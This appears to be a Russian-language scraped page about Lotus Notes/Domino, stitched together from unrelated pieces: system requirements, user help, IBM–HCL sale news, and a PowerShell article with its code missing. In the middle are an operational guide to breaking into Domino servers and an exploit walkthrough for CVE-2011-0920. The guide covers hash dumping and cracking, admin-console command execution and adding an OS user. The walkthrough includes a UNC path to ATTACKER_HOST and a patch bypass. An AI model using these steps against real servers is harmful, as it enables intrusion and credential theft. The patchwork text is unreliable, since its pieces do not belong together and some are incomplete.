Как открыть lotus professional

Добавил пользователь Alex
Обновлено: 05.10.2024

Как открыть lotus professional

Программы, все вопросы по поиску дистрибутивов в Варезнике!

Lotus Notes

Другие ссылки:

Можно при создании образов дисков или бэкапов отедельных баз использовать софт типа Acronis True Image или Symantec Backup Exec System Recovery, хотя это не рекомендуется делать при открытых файлах. То есть никто не дает 100% гарантии, что эти базы будут работоспособными при восстановлении. У меня такое работало, но здесь много зависит от загруженности сервера. Поэтому рекомендуется гасить сервер и только потом делать бэкап.

Что касается архиваторов, имеющих агентов, то я знаю, что ARCserve Backup system имеет агента для домино.

Информация для размышления


Notes 8.5 - Detailed system requirements

Notes Client (standard configuration)

Microsoft Windows
Microsoft Windows XP Professional, Service Pack 3
Microsoft Windows XP for Tablet PC
Microsoft Windows Vista: Enterprise, Ultimate, and Business Editions:
Microsoft Windows Vista for Tablet PC

Linux®
SUSE Linux Enterprise Desktop (SLED) 10 XGL.
Red Hat Enterprise Linux (RHEL) 5.2 Desktop.
Note: AIGLX is not supported, and must be disabled.
Ubuntu 8.04 LTS Desktop Edition.

Macintosh
Macintosh OS 10.5.x

Notes client (basic configuration)

Microsoft Windows
Microsoft Windows XP Professional, Service Pack 3
Microsoft Windows XP for Tablet PC
Microsoft Windows Vista: Enterprise, Ultimate, and Business Editions
Microsoft Windows Vista for Tablet PC

Macintosh
Macintosh OS 10.5.x

Citrix support statement - The Notes client is supported on Citrix Presentation Server 4.5, on Windows 2003 server (32 bit and 64 bit), using Citrix ICA (Independent Computing Architecture) clients.


Domino Administrator client, Domino Designer

Microsoft Windows
Microsoft Windows XP Professional, Service Pack 3
Microsoft Windows Vista; Enterprise, Ultimate, and Business Editions


Domino 8.5 - Detailed system requirements

32-bit Domino Server
Microsoft Windows
Microsoft Windows 2003 Server Standard Edition
Microsoft Windows 2003 Server Enterprise Edition, Service Pack 2
Microsoft Windows 2003 Server x64 Edition

Linux
Novell SUSE Linux Enterprise Server (SLES) 10 x86 (32 bit)
Novell SUSE Linux Enterprise Server (SLES) 10 x86_64 (64 bit)
Red Hat Enterprise Linux (RHEL) 5.0 and 5.1 (32 bit)
Note: XGL and SELinux must be disabled.
Red Hat Enterprise Linux (RHEL) 5.0 and 5.1 (64 bit)
Note: XGL and SELinux must be disabled.

Sun Solaris
Sun Solaris 10 (64-bit kernel), March 2006 patch cluster, or higher
Note: The 64-bit kernel must be installed and in use, even though the OS is 32 bit. The use of the 32-bit kernel is no longer supported. Refer to the OS vendor documentation for questions on enabling/using the 64-bit kernel. On Solaris, the 64-bit kernel is used by default on supported hardware.

IBM AIX
IBM AIX V5.3 (64-bit kernel), minimum patch level of TL7, 0815 (5300-07-04-0815)
IBM AIX V6.1 (64-bit kernel), Service Pack 4, APAR IZ10223, APAR IZ09961, APAR IZ10284, APAR IZ08022
Note: The 64-bit kernel must be installed and in use, even though the OS is 32 bit. The use of the 32-bit kernel is no longer supported. Refer to the OS vendor documentation for questions on enabling/using the 64-bit kernel.


64-bit Domino Server

Microsoft Windows
Microsoft Windows 2003 Server x64 Edition, Service Pack 2

IBM AIX
64-bit IBM AIX V5.3, TL7 0815 (5300-07-04-0815)
64-bit IBM AIX V6.1, Service Pack 4, APAR IZ10223, APAR IZ09961, APAR IZ10284, APAR IZ08022

Linux on System z®
Novell SUSE Linux Enterprise Server (SLES) 10 on System z (64 bit)
Red Hat Enterprise Linux (RHEL) 5 on System z (64 bit)
Note: XGL and SELinux must be disabled.

Извините если вопрос уже был пока не нашёл ответа на него

Вопрос состоит в следующем:

Как установить Lotus Notes Client на 64-битную версию Linux (Ubuntu 8.10 amd64)?


Просмотр, редактирование и удаление документов

Чтобы открыть документ, выберите его в представлении и нажмите клавишу Ввод либо дважды кликните по этому документу мышкой. Lotus Notes отобразит на экране выбранный документ.

Полезный совет: чтобы открыть следующий документ, не закрывая текущий, просто нажмите клавишу Ввод. Lotus Notes закроет текущий и откроет следующий за ним документ. Чтобы открыть предыдущий документ, нажмите клавишу Backspace.

Примечание: чтобы открыть документ в новом окне, кликните по нему правой кнопкой мыши и выберите команду Открыть в другом окне.

Предварительный просмотр документов

В базе данных Lotus Notes вы можете включить предварительный просмотр документов для того, чтобы одновременно видеть список документов и выбранный документ. Чтобы включить предварительный просмотр, выберите в меню команду Вид – Просмотр документов – Отображать область просмотра:

После этого под списком документов появится область предварительного просмотра, в котором будет отображаться выбранный документ.

Примечание: при предварительном просмотре документ может отображаться в «сжатом» виде (например, часть информации не будет видна).

Редактирование документов

Вы можете открыть документ в режиме редактирования следующими способами:

- открыть документ и нажать кнопку, предусмотренную в приложении. Обычно эту кнопку называют «Редактировать» либо «Изменить».

- открыть документ и дважды кликнуть мышкой по его содержимому.

- кликнуть по документу правой кнопкой мыши и выбрать команду «Редактировать».

- использовать комбинацию клавиш Ctrl-E.

Примечание: Вы не сможете открыть документ в режиме редактирования, если у Вас недостаточно для этого прав доступа.

Удаление документов

Чтобы удалить документ, выберите его в представлении и нажмите клавишу Delete. Вы также можете удалить сразу несколько документов, выбрав их в представлении и нажав клавишу Delete. Lotus Notes отправит выбранный документ в корзину либо отметит знаком Х. Если документ не попал в корзину, а был отмечен символом Х. нажмите клавишу F9, чтобы завершить удаление:

Полезный совет: чтобы удалить открытый на экране документ, просто нажмите клавишу Delete. Lotus Notes удалит и закроет текущий документ, после чего откроет следующий документ.

Примечание: Вы не сможете удалить документ, если у Вас недостаточно для этого прав доступа.

Тотальная Доминация: Ломаем Lotus Domino

Привет всем читателям. На этот раз я немного уйду в сторону от Oracle и расскажу про другое, не менее распространенное в корпоративной среде приложение – Lotus Domino. Domino – это такое огромное клиент-серверное приложение, совмещающее в себе и почтовую систему, и систему документооборота, и LDAP-хранилище, и еще множество всего, где может храниться полезная информация. Данная система может хранить огромное количество критичных данных, и сперва мы рассмотрим способы получения административного доступа в эту систему, а потом – варианты распространения своих привилегий на сам сервер, где установлено это приложение. Особенно важным является тот факт, что система довольно часто имеет внешние интерфейсы подключения доступные из интернета, что позволяет, используя представленные в статье методики, получить полный доступ к внутренним серверам компании через уязвимости системы Lotus Domino. Интересно? Тогда поехали!

Описание

Где обитают лотусы?

Nmap –sV 172.212.13.0.24 –p 80

На самом деле гораздо эффективнее будет воспользоваться методикой Google Hack и найти множество Lotus-серверов в интернете, используя простейший запрос inurl:homepage.nsf. В результате этого запроса нам откроются ссылки на тысячи потенциальных серверов Lotus. Сразу предупрежу тебя, чтоб ты даже не пытался тренироваться на этих серверах, так как у Лотуса очень навороченная и удобная система протоколирования всех запросов, и вычислить злоумышленника не составит труда.

Осмотр пациента

Итак, начнем анализ подопытного. Обычно при попытке обращения к корневой директории Lotus-сервера мы получаем окошко с запросом аутентификации, что сразу же отпугивает неопытных хакеров. Очень вероятно, что администратор установил запрос аутентификации только на обращение к корневой папке, а все остальные ресурсы остались открыты. Что же там за ресурсы могут быть, и чем они нам полезны?

Загадочный .nsf

Если кратко, то Lotus хранит всю информацию в контейнерах собственного формата с расширением nsf. Данный контейнер представляет собой набор данных и формат их представления. Если говорить проще, то каждый nsf ресурс – это небольшой отдельный сайт со своей базой данных. Собственно, этих самых nsf-файлов может быть на сервере огромное количество, причем как стандартных, так и разработанных специально под нужды компании. Вот список наиболее популярных nsf-файлов, которые могут присутствовать:

/names.nsf
/admin4.nsf
/admin.nsf
/alog.nsf
/domlog.nsf
/catalog.nsf
/certlog.nsf
/dba4.nsf
/homepage.nsf
/log.nsf

Про остальные файлы ты можешь узнать, скачав, к примеру, утилиту dominohunter, к которой прилагается список стандартных nsf-файлов. Ко всем этим файлам есть описания, и во многих из них есть интересные нам данные, но начнем мы с самого главного файла – names.nsf. Данный ресурс представляет собой полную базу данных по сотрудникам, их почтовым адресам и по множеству другой полезнейшей информации, такой как: версии ОС пользователей, версии программного обеспечения Lotus Notes и прочие данные. А знаешь, что самое интересное? Этот ресурс на большинстве серверов доступен анонимному пользователю!

Векторов дальнейшей атаки на самом деле огромное множество, учитывая то, что у нас есть такая интересная информация. Вот лишь часть из них.

Повышение привилегий

Поскольку зачастую количество пользователей исчисляется сотнями или тысячами, то получение хэшей желательно автоматизировать. Но тут не стоит беспокоиться, ибо все уже сделано до нас. Еще в 2007 году был написан эксплойт raptor_dominohash, доступный в Сети, который скачивает хэши всех пользователей, а также утилита DominoHashBreaker, осуществляющая подбор паролей по словарю. Эксплойт лучше переделать, так как он выдает слишком много лишней информации, и ее потом неудобно подавать на вход переборщику паролей. Что касается самого переборщика, то он работает только по словарю и имеет следующий недостаток – мы не знаем, от какого пользователя расшифровался хэш, так как на вход подаются только хэши без привязки к логинам. Таким образом, я бы рекомендовал использовать JohnTheRipper с патчем от jumbo, ибо Джон не только не имеет перечисленных недостатков, но и еще умеет расшифровывать новые «соленые» хэши, чего не умеет DominoHashBreaker.

Итак, как я уже говорил, хэши в Lotus бывают двух видов:

1. Обычные (32 символа в HEX) пример:

<input name="$dspPasswordDigest" type="hidden" value="F05389C37C850260F278FED23334C172">

2. C использованием случайных значений (22 символа начинающиеся с G) пример:

Для расшифровки обычных хэшей необходимо на вход программе JohnTheRipper подать файл HASH.txt вида:

Имя пользователя:хэш
Имя пользователя:хэш
.
.
Имя пользователя:хэш

Запускать переборщик необходимо со следующими параметрами:

./john HASH.txt --format=lotus5

Для расшифровки «соленых» хэшей необходимо на вход программе JohnTheRipper подать файл HASH2.txt вида:

Имя пользователя:(хэш)
Имя пользователя:(хэш)
.
.
Имя пользователя:(хэш)

Запускать переборщик необходимо со следующими параметрами:

./john HASH.txt --format=dominosec

Вот, собственно, и все, напоследок могу только порекомендовать набрать разных словарей и запустить перебор параллельно брутом и словарями для большей эффективности. В случае успеха, что встречается довольно часто, так как парольные политики в Domino по умолчанию отключены, мы получим список расшифрованных паролей пользователей системы Lotus Domino на Web-доступ. Пусть там будут и не все пользователи, но все же шансы, что из тысячи хоть кто-нибудь расшифруется, достаточно велики.

Администрирование

Итак, предположим, что мы расшифровали пароль администратора (если нет, сидим и перебираем дальше :)) – это есть очень хорошо. Теперь перед нами открываются просторы доступа ко всем находящимся на сервере nsf-файлам, которых, как я уже говорил, предостаточно. Интересный ресурс – log.nsf, на нем можно найти и посмотреть все логи доступа к серверу по различным критериям и узнать, к примеру, каким браузером пользуются пользователи. Также интерес представляет catalog.nsf. Доступ к почте каждого сотрудника можно получить, обратившись к директории /mail/логинсотрудника.nsf.

Но самый большой интерес для нас представляет ресурс webadmin.nsf (servername/webadmin.nsf). Это админка Web-сервером Lotus Domino со всеми вытекающими последствиями. Имея доступ к ней, можно создавать изменять и удалять пользователей, назначать для них группы и выполнять всевозможные административные задачи. Получение административного доступа к системе Lotus Domino практически всегда означает получение доступа к ОС, если не используются расширенные настройки безопасности, такие как: пароль на консоль (иногда встречается) или ограничение прав учетной записи в ОС (на практике крайне редко). Стоит отметить, что в ОС Windows по умолчанию доступ будет получен под учетной записью Local System, так как служба запущена от имени Local System, а в Unix доступ будет получен от имени непривилегированной учетной записи.

Итак, что же предоставляет нам webadmin.nsf? В этом приложении есть различные опции по управлению сервером, в том числе и ряд оболочек для выполнения сервисных команд для репликации и прочих административных задач. Для выполнения сервисных команд можно использовать две различные консоли: Quick Console и Live Console. Но не тут-то было. Эти консоли – не то же самое, что консоль в ОС, так как набор команд там строго определен и заточен под задачи LOTUS.

К нашему счастью, в бизнес-логике этой консоли есть уязвимость, которая заключается в том, что команда Load использует в качестве аргумента не список команд, а реальные исполняемые файлы в системе. То есть, используя небольшой трюк можно запускать исполняемые файлы доступные в директории PATH операционной системы через команду Load (спасибо за данный метод Евгению Киселеву, автору книги «Безопасность IBM Lotus Notes/Domino R7», которую настоятельно рекомендуется почитать тем, кого интересует безопасность Lotus). Рассмотрим эти две консоли поподробнее.

Оболочка Live Console

Наиболее удобная оболочка для выполнения называется Live Console, но, к сожалению, ее использование обусловлено двумя проблемами. Первая проблема заключается в том, что данная консоль не включена по умолчанию и для ее включения необходимо перезагружать сервер, что не очень хорошо. Вторая особенность – данная оболочка работает по своему протоколу с использованием порта 2050, и с большой вероятностью в случае подключения через интернет данный порт будет зафильтрован. Таким образом, данный вариант не является универсальным, так что идем дальше.

Оболочка Quick Console

Второй вариант – это использование урезанной версии консоли – Quick Console. Данная консоль имеет неприятную особенность – результат выполнения команды не отображается, таким образом, мы можем выполнять команды только вслепую. Ладно если нам нужно просто выполнить команду, в которой мы уверены, но если нам захочется прочитать содержимое файлов – тут без трюков не обойтись. На самом деле проблема очень похожа на Blind SQL Injection, так что и методы надо применять похожие, только с учетом особенностей.

Получение данных

Давай проанализируем, что мы вообще можем делать в административном интерфейсе, чтобы понять, что из этого нам поможет для получения результатов команд. Первое, что бросается в глаза – это меню Files, где, как хотелось бы верить, мы сможем читать файлы, но и тут нас поджидает неприятная участь. Читать файлы нельзя, можно только делать листинг директорий и видеть имена файлов. И только если у них расширение .nsf.

Первая сумасшедшая идея, которая приходит в голову – это разбивать на строки вывод результата выполнения команды и создавать файлы, в названии которых будет кусок результата выполнения команды, а расширением будет .nsf. Таким хитрым и довольно извращенным способом мы будем получать информацию о результате работы команды. Для этого необходимо последовательно запустить две команды (спасибо Алексею Синцову за набросанный скрипт):

load cmd /c "dir /D /B > sh2kerr.out"
load cmd /c "FOR /F "delims= " %i IN (sh2kerr.out) DO ECHO > C:\lotus\domino\sh2kerr\"%i".nsf"

Первая команда сохраняет результат команды (в нашем примере это команда DIR) в файл sh2kerr.out. Вторая команда разбивает результат вывода первой и создает необходимые файлы. В результате в папке C:\lotus\domino\sh2kerr\ мы увидим множество файлов, в именах которых будет результат выполнения команд.

На самом деле есть способ гораздо проще, но при этом будет вероятность, что он не заработает там, где безопасно расставлены права. На практике мне такого не встречалось, так что можно использовать этот метод практически везде. Метод очень прост и заключается в следующем – необходимо найти директорию, в которую мы можем писать, и которая будет доступна через Web-интерфейс. Такая директория есть по умолчанию в версиях 6.5 и 8.5 (в других она, скорее всего, тоже присутствует, но подтвердить нет возможности). В ОС Windows данная директория в результате установки по умолчанию выглядит следующим образом:

Альтернативный сценарий выполнения команд.

Кроме трюка с Load есть еще один способ выполнения команд – через так называемый планировщик. Находится он в меню Server->Status->Schedules->Programs. Используя этот планировщик, можно также запускать любые команды в ОС.

Клиент-серверное взаимодействие

Выше мы рассматривали вопросы безопасности Web-доступа к системе Lotus Domino, но есть еще и другой протокол (NRPC на 1352 порту), по которому можно подключиться к системе. Этот протокол позволяет подключаться к Lotus Domino серверу, используя клиентские программы Lotus Designer (разработчики), Lotus Notes (простые сметные) и Lotus Administrator (спасибо, кэп). Для подключения к серверу клиент должен иметь некое подобие сертификата, в системе Lotus Domino это файл с расширением ID. Помимо этого файла для подключения необходимо иметь и пароль к нему.

Данный пароль никогда не передается по сети и используется для расшифровки ID-файла, а аутентификация уже происходит при помощи расшифрованной информации. Итак, для того, чтобы подключиться к системе с использованием клиентского приложения, нам необходимо получить 2 вещи: ID-файл и пароль к нему. Выглядит сложнее, чем в случае с Web, но не безнадежно.

Для того, чтобы получить ID-файл, можно воспользоваться уязвимостью раскрытия информации в службе Lotus Domino. Уязвимость заключается в возможности получения ID-файла пользователя, в случае, если известен его логин. Логин можно либо подобрать, либо воспользоваться уязвимостью в names.nsf, описанной выше. Второй способ получения ID-файла – попытаться откопать его в том же names.nsf. Очень часто в профиле пользователя, доступном без аутентификации через Web-интерфейс, есть ссылка на скачку его ID-файла.

STEP BY STEP HOWTO

Итак, подведем итоги и создадим небольшой гайд по получению доступа к Lotus Domino.

Для получения доступа к серверу выполняем следующие действия:

Если есть Web-доступ:

1. Запускаем утилиту raptor_dominohash и собираем хэши паролей:
./raptor_dominohash 192.168.0.202

2. Сохраняем хэши в формате, приведенном в статье;

3. Запускаем JohnTheRipper и подаем на вход список имен пользователей и хэшей:
./john HASH.txt --format=lotus5

4. В случае расшифровки хэша администратора обращаемся к консоли Web-администрирования по адресу:
http://servername/webadmin.nsf

5. В Quick Console набираем команду, добавляющую в ОС нового пользователя:
load cmd /c net user hacker iamstupid /add

6. Чтобы проверить, выполнилась ли команда, выводим список текущих пользователей и сохраняем вывод команды в файл:
load cmd /c net user > C:\Lotus\Domino\data\domino\html\download\filesets\1.txt

7. Если не получилось, пробуем выполнить команду через Program.

Если есть NRPC-доступ:

  1. Берем список пользователей из names.nsf (или подбираем) и пытаемся получить ID;
  2. В случае получения ID пытаемся расшифровать пароль при помощи утилит указанных в статье;
  3. В случае успеха пытаемся подключиться при помощи Lotus Administrator, а далее начинаем с пункта 5 предыдущего варианта.

И что потом?

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несет!

IBM продала индусам легендарные Notes и Domino

Международная компания HCL Technologies со штаб-квартирой в городе Ноида (Индия) приобретет у корпорации IBM программные активы на сумму $1,8 млрд, сообщила пресс-служба IBM. Компании уже пришли к договоренности о продаже в пользу HCL Technologies восьми приложений, включая такие знаковые продукты как Notes и Domino.

После завершения сделки в первой половине 2019 г. (сейчас она ожидает одобрения регулирующих органов) компания HCL Technologies также станет полноправным владельцем продуктов Appscan, BigFix, Unica, Commerce, Portal, Connections, ориентированных на рынки электронной коммерции и человеческих ресурсов.

По состоянию на декабрь 2018 г. стороны находятся в статусе партнеров в области интеллектуальной собственности по пяти из этих приложений.

Причины, по которым IBM приняла решение о передаче своих разработок сторонней компании, не разглашаются. Отметим, что некоторые продукты из перечня она разрабатывала в течение нескольких десятилетий.

ibm6002.JPG

Второй не менее значимый продукт IBM, который через полгода перейдет во владение HCL Technologies, – это Domino, серверная часть Notes. Domino тоже включает в себя ряд сервисов, в том числе СУБД, сервер каталогов и почту.

Закат IBM? Нет

Передача IBM прав собственности на свои программные продукты индийской HCL Technologies не означает, что корпорация столкнулась с трудностями. Напротив, 2018 г. стал для нее очень продуктивным: в марте она представила крошечный микрочип, поддерживающий технологию блокчейн, а в конце октября приобрела компанию Red Hat за $34 млрд. IBM пошла на этот шаг в стремлении стать лидером в области гибридных облачных технологий.


В ноябре 2018 г. IBM придумала память нового типа с накопителем размером в один атом. Также на ноябрь пришлись кадровые перестановки в российском филиале корпорации – пост генерального директора подразделения IBM в России и СНГ заняла Ирис Джеба (Iris Dzeba), пришедшая в корпорацию в 2005 г.

Истории компаний

Корпорация IBM была основана в 1911 г. В 2018 г. она входит в число крупнейших в мире производителей и поставщиков программного и аппаратного обеспечений. В сферу деятельности IBM также входят консалтинговые услуги. В третьем квартале 2018 г. прибыль корпорации достигла $18,8 млрд, что на 1% меньше показателей за аналогичный период 2017 г. Чистый доход за третью четверть 2018 г., по данным ZDNET. составил $2,7 млрд – здесь тоже зафиксировано падение на 1% в годовом исчислении.

Компания HCL Technologies открыта в 1976 г. в Индии. За 42 года своего существования она открыла представительства в 39 странах мира, включая Великобританию, США, Германию и Францию. По состоянию на 2017 г. в ее штате числится более 117 000 человек, а чистый доход компании за 2017 г. составил $1,55 млрд.

Excel Store

excel-lotus-notes

Если вы работаете в Lotus Notes, анализируете большое количество данных (приказы, RFC, договора), контролируете процесс визирования, исполнения, согласования документов, то Lotus Notes предоставляет удобный и практичный интерфейс подключения посредством SQL-запросов. Макрос ниже наглядно демонстрирует данную возможность.

Подробное описание

Многие из нас в виду существующей системы документооборота в организации работают в Lotus Notes. Это работа с почтой, работа с приказами , распоряжениями, RFC и прочими аналогичными документами.

Но если по роду своей деятельности вам приходится анализировать, например, большое количество RFC на предмет изменения их статуса (закрыт, отклонен, на исполнении), контролировать процесс визирования, исполнения и тд., то вариантов два:

  1. каждый раз заходить в Lotus в базу RFC, открывать каждое RFC и смотреть его данные,
  2. отслеживать уведомления в электронной почте.

Оба варианта рабочие и подходят в большинстве случаев. Особенно предпочтительны указанные выше варианты, когда дело касается детальных данных, вложений, комментариев и других моментов в контексте каждого отдельно взятого RFC.

Если же детальный анализ не нужен и необходим лишь сводный отчет по текущим статусам каждого RFC (которых, в свою очередь, может быть очень много), то данные варианты будут не практичны в виду избыточности действий (открыть Lotus, открыть базу RFC, найти нужное RFC, открыть RFC, найти нужные сведения и тд).

На этот случай есть третий вариант - подключиться к базе данных Lotus Notes и получать необходимые сведения путем обычного SQL-запроса.

В вложении ниже прилагаю пример шаблона в Excel, который позволяет это делать. Перед применением шаблона необходимо установить Lotus Notes SQL Driver и настроить подключение. Для неискушенных пользователей скажу, это в разы проще чем настроить клиент Oracle (если конечно, вам доводилось его настраивать).

В любом случае, установка/настройка делается один раз и потом сводные данные можно выгружать одним кликом в тот же Excel. Можете посмотреть в шаблоне, как это примерно выглядит. Плюс данного подхода также в том, что в макросе VBA вы можете настроить какие угодно проверки и выводить информацию в том виде, какой вам предпочтительнее.

По всем возникшим вопросам (где скачать драйвер, как его установить, как настроить подключение, как настроить sql-запрос и др) пишите, будем рады помочь.

Проникновение в Lotus Domino

В последнее время я часто рассказываю истории о том, как на обыкновенном пен-тесте удается выявить 0-day уязвимость в популярном ПО или разработать приватный эксплойт. На самом деле такого рода задачи решаются при пен-тесте редко и выборочно, и на это есть свои причины.

И всё же я хочу поделиться историей (ага, байкой) о том, как при решении именно таких задач пен-тест выходит за рамки монотонного сканирования, брутфорса и запихивания кавычек в параметры веб-приложения. А именно, в этом посте будет рассказано о простой баге в Lotus Domino Server Controller, о том, как был создан приватный эксплойт, а также найдена проблема нулевого дня, актуальная и на сегодняшний день.


Тест на проникновение

Итак, тест на проникновение. Эта тема стабильно обмусоливается каждый год на различных блогах и различными специалистами. И это неспроста: данная услуга имеет много различных тонкостей и подводных камней. Но я не буду мутить воду о необходимости, полезности и содержании этой штуковины, я хочу поговорить о самой работе. О том, что делает пен-тест именно пен-тестом.

Любой пен-тестер решает множество подзадач с целью выполнения основной задачи – реализации атак на компоненты информационной системы. При этом я оставлю за скобками подробное описание и возможные вариации на тему основной задачи, так как это опять же сейчас неинтересно, а вот две-три подзадачи, что являются “state-of-art”, я выделю:

  • Поиск (и подтверждение) уязвимости
  • Разработка эксплойта
  • Эксплуатация уязвимости

Так случилось, что во время одного из пен-теcтов обнаружился целый набор уязвимостей без публично доступных эксплойтов, даже без PoC’ов или детальных описаний проблемы. Поэтому для одной такой уязвимости было решено узнать все самим и написать приватный эксплойт.

Обход аутентификации в Lotus Domino Server Controller
CVE-2011-0920

Данная уязвимость была найдена Патриком Карлссоном и продана с потрохами в ZDI. Так что описание с сайта ZDI — это единственная информация, что у нас есть. Краткий пересказ:

«Уязвимость в сервисе Domino Controller, порт TCP 2050. В процессе аутентификации атакующий может установить значение параметра COOKIEFILE как путь UNC, таким образом установить контроль как над файлом источником базовых аутентификационные данных, так и над вводимыми при аутентификации значениями. Это позволяет обойти механизм проверки аутентификации и получить доступ к консоли администрирования. Ведет к исполнению кода с привилегиями SYSTEM».

Описание хоть и не детальное, но говорит достаточно о том, что происходит. Значит, можно приконнектиться к порту под номером 2050, подсунуть по какому-то протоколу параметр COOKIEFILE, указывая путь типа \\ATTACKER_HOST\FILE. А в этом файле разместить логин и пароль и, используя эти же логин и пароль, войти в систему. Осталось совсем чуть-чуть – разобрать протокол и формат файла. По сканам Nmap можно определить, что вся работа происходит по SSL, а вот протокол общения в SSL-обертке предстоит выяснить. На самом деле это крайне просто: достаточно отметить, что сервис Lotus Domino Controller полностью написан на Java, причем как клиентская, так и серверная часть, все в одном файле:

Вот мы и встретили параметр COOKIEFILE. Однако одного его недостаточно. Рассмотрим основной цикл:

Теперь мы понимаем формат протокола, каков же формат самого файла? Рассмотрим функцию verifyAppletUserCookie:

Вот так выглядит эксплуатация уязвимости для ZDI-11-110

1. Создаем файл (cookie.xml):

2. Используем ncat


Казалось бы, и сказке конец. Более того, IBM сделала исправление для данной проблемы, и даже не одно! Вот эти новшества появились, начиная с версии 8.5.2FP3 и 8.5.3.

Исправление 1.


Теперь для соединения с портом 2050 необходим правильный клиентский сертификат. То есть Ncat и Nmap больше не работают с портом 2050.

Исправление 2.


Теперь перед именем файла добавляется “.\”, что означает, что UNC мы больше использовать не можем. Уязвимость исправлена. Патч кажется адекватным.

На самом деле это не так. Взглянем на строчки кода ещё раз (откомментированные как Point.6 и Point.7). Функция getStringToken – фактически substring. Отсюда вполне очевидный вопрос: зачем программисты при реализации этого модуля прибегли к написанию собственного XML-парсера? Очевидно, что данный парсер работает с любым файлом, в котором есть соответствующе строки: “<user”, “name=” и т.д. Другими словами, вот то, чего мы ожидаем:

Но вот что можно подсунуть, и это так же благополучно распарсится:

Тут \r\n – это просто Enter!

2. Теперь лог-файл на сервере будет таким:

Два запроса сделаны не случайно, так как парсер от IBM будет искать строку “<user ” с пробелом в конце! А все пробелы в запросе кодируются как “%20”, и поэтому нам это не подходит. Тогда делаем первый запрос так, чтобы после “<user” пробел поставил сам веб-сервер (между запросом и результатом “404 – NotFound”). Вторым запросом допихиваем все остальное.

Отлично, почти все готово, осталось только научиться подсоединяться к 2050, ведь сертификата SSL у нас нет. Или есть? Вспомнив, что dconsole.jar ещё отвечает и за клиентскую часть, как апплет, очевидно, что там должен быть сертификат – и он там есть. И ключ там есть. Всё там есть. В принципе, можно выдернуть ключ и написать эксплойт, но если лень, то можно прямо этот апплет использовать:

Подгружаем этот апплет в любом браузере, добавляем редирект с локального порта 2050 на удалённый, и всё – эффект достигнут. Видеопример:

Выполнение команд из консоли. Вариант 1:

LOAD cmd.exe /c command

Выполнение команд из консоли. Вариант 2:

Защита:
  • Порт 2050 вообще-то надо фильтровать.
  • Запретить опасные команды в консоли с помощью установки дополнительного пароля консоли (защитит от выполнения команд из консоли в первом варианте).
  • Проверить файл admindata.xml. Для каждого пользователя надо проверить привилегии. Значения 4, 25 или 26 говорят о том, что у данного пользователя есть права на исполнение системных команд! Удалив их, мы защитимся от выполнения команд из консоли во втором варианте.
Примечание:

Атакующему во всех перечисленных вариантах для успешного обхода аутентификаций необходимо знать правильное значение логина. В любом случае, его можно перебрать, так как в случае несуществующего логина выдаётся ошибка NOT_REG_ADMIN, а если неверен пароль, то WRONG_PASSWORD (Point.9).

P.S. Атака из Интернет

Подсеть московского вуза:


Домен .gov, или Американские учёные не любят межсетевых экранов:


Даже сама IBM не может отфильтровать порт 2050 и обновить Lotus (+ демонстрация угадывания «логина»):

Работаем с Lotus Notes через Powershell

Вероятно, многим из вас приходилось работать в крупных организациях, где весь корпоративный документооборот и почта работают на программных продуктах IBM Lotus Domino. Эта система с точки зрения конечного пользователя выглядит некрасиво, пользоваться ей неудобно, и особенно много проблем доставляют задачи, где нужно обрабатывать большое количество документов. Однако, обладая таким мощным инструментом, как Powershell, вы можете существенно облегчить себе жизнь. Так, Powershell умеет работать с Lotus через интерфейс COM-объектов. Этот способ хорошо подходит для задач с небольшой нагрузкой, выполняемых эпизодически.

Предположим, что вы – системный администратор, и в вашем ведении находится примерно 300 серверов, данные о которых нужно периодически обновлять, обрабатывать и просматривать в удобном виде. Допустим, вы уже написали скрипт, который проходит по всем этим серверам, и получает все необходимые вам данные о серверах, IP-адресах, о том, где какие службы и компоненты работают, под каким пользователем, по какому расписанию запускаются задачи, когда последний раз делался бэкап, и т.д. Вы сохранили эти данные в xls-файл в удобном для работы виде, и пользуетесь этим документом. Остальные ваши коллеги, скорее всего, не пользуются – либо им некогда разбираться со структурой этого файла, либо они просто не знают о том, где он лежит.

Возникает задача – сделать так, чтобы эти данные были доступны всем, кому это необходимо, и с ними было удобно работать. Учитывая, что в организации уже используется Lotus, который есть у всех сотрудников, напрашивается вывод – сохранить эти данные в базу данных Lotus, и организовать несколько видов (View), чтобы представить эти данные в удобном виде.

Задача «сделать красиво и удобно в Lotus» выходит за рамки этой статьи, потому что требует знаний и опыта программирования в Lotus. Однако, мой опыт показывает, что даже при наличии нулевого опыта и знаний Domino Designer, за несколько дней можно сделать «на скорую руку» несколько представлений, отображающих полученные данные в удобном виде.

Попробуем для начала разобраться, как при помощи Powershell можно работать с документами Lotus.

Открытие сессии и подключение к базе данных.

Для начала, нужно открыть сессию Lotus Notes и подключиться к базе данных (или приложению). Для этого понадобится путь к базе (сервер и имя файла), и пароль пользователя. Чтобы пароль не хранился в открытом виде, мы его будем запрашивать и хранить как SecureString, и расшифровывать перед открытием сессии.
Предполагается, что на компьютере установлен коиент Lotus Notes.

В результате мы получаем объект сессии Lotus Notes и объект базы данных Lotus.
Дальше мы будем работать с объектами документов внутри этой базы данных.

Запись атрибутов в новый документ.

При каждом изменении полей документа, метод возвращает какие-то данные, которые нас не интересуют, и чтобы они не выводились на экран, мы присваиваем вывод переменной, и не используем её.
Перед сохранением, «хорошим тоном» будет проверить, соответствует ли содержимое документа форме.

Запись даты изменения в документ.
У любого документа есть атрибут – поле Modified, в котором прописана дата последнего изменения документа. Однако, нам может оказаться полезным хранить отдельно информацию о том, когда документ был изменён при помощи скрипта.

Для этого в форму документа нужно добавить поле ModifiedByScript, и изменить его тип на Date/Time. Но после этого, в это поле можно будет записать только данные типа NotesDate. Чтобы получить объект NotesDate, содержащий дату и время, понадобится получить текущую дату, и преобразовать её в нужный тип при помощи метода объекта NotesSession:

Объект NotesDate понадобится нам дальше при поиске документа.

Дополнение: этот способ получения NotesDate работал нестабильно, и пришлось его немного изменить.

Поиск документа.
Попробуем найти документ заданного типа (переменная $Form), у которого значение поля, имя которого прописано в переменной $Field, имеет значение $Value.

При поиске можно задать ограничение на количество найденных документов (0 – без ограничений).
В результате выполнения запроса мы получаем объект типа NotesCollection, содержащий несколько документов, найденных в базе данных.

Дальше, если мы точно знаем, что в результате может быть получен один документ, можно получить этот объект документа:

Если же нужно обработать несколько документов, то после получения первого документа, нужно в цикле получить следующий документ, и при этом проверить, что мы не достигли конца списка документов.

Также можно выгрузить все поля документа в переменную-массив типа «хэш-таблица».

